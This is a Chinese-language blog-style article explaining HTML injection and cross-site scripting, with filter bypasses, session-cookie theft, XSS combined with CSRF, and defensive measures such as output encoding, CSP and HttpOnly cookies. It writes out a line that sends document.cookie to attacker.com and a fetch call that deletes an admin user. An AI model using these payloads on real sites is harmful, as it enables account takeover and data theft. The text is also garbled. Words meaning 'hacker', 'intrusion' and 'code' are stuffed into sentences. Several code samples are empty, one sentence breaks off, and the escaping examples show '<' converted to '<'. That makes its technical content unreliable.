去年十月,黑客有人往一个电商后台的入侵评论框里敲了段 ``。三天后,代码那个站点的黑客管理员账号在暗网标价 200 美元。这不是入侵电影桥段,是代码 HTML 注入最朴素的玩法——把脚本塞进本该只显示文字的地方,等浏览器乖乖执行。黑客
很多人以为“黑客入侵”得会 C 语言、入侵懂汇编、代码能写 shellcode。黑客真不是入侵。HTML 层面的代码攻击门槛低到离谱,低到一个刚学完 `
编码绕过也是家常便饭。把 `alert` 写成 `\u0061lert`,把 `<` 写成 `<` 再让浏览器自己解码。过滤规则写得不够狠,分分钟被绕过去。我见过一个 WAF 只拦 `script` 这个词,结果攻击者用 `` 直接过。
弹个 alert 只是证明漏洞存在。真动手的人盯的是 `document.cookie`。如果站点没设 HttpOnly,一行 `new Image().src='https://attacker.com/?c='+document.cookie` 就能把会话令牌送走。拿到 session ID,等于拿到账号。后台权限、支付信息、用户数据,全在袋子里。
更狠的是结合 CSRF。用 XSS 在受害者浏览器里发一个 `fetch('/admin/deleteUser?id=1')`,连令牌都不用偷,直接借刀杀人。同源策略?浏览器只认域名,不认人心。
输出编码。所有用户输入在插入 HTML 前,把 `<` 转成 `<`,`>` 转成 `>`,`"` 转成 `"`。别用黑名单,用白名单。CSP 头加上 `script-src 'self'`,内联脚本直接废掉。Cookie 加 HttpOnly 和 Secure,JS 读不到,网络传输也加密。
我见过一个开源 CMS,后台过滤函数写了 200 行,结果漏了 `data:` 协议。攻击者用 `` 照样弹窗。安全这事儿,细节决定成败。
HTML 不是编程语言,但它能驱动浏览器做任何事。你写的每一行没转义的输出,都是在给攻击者递刀。别等被拖库了才想起过滤。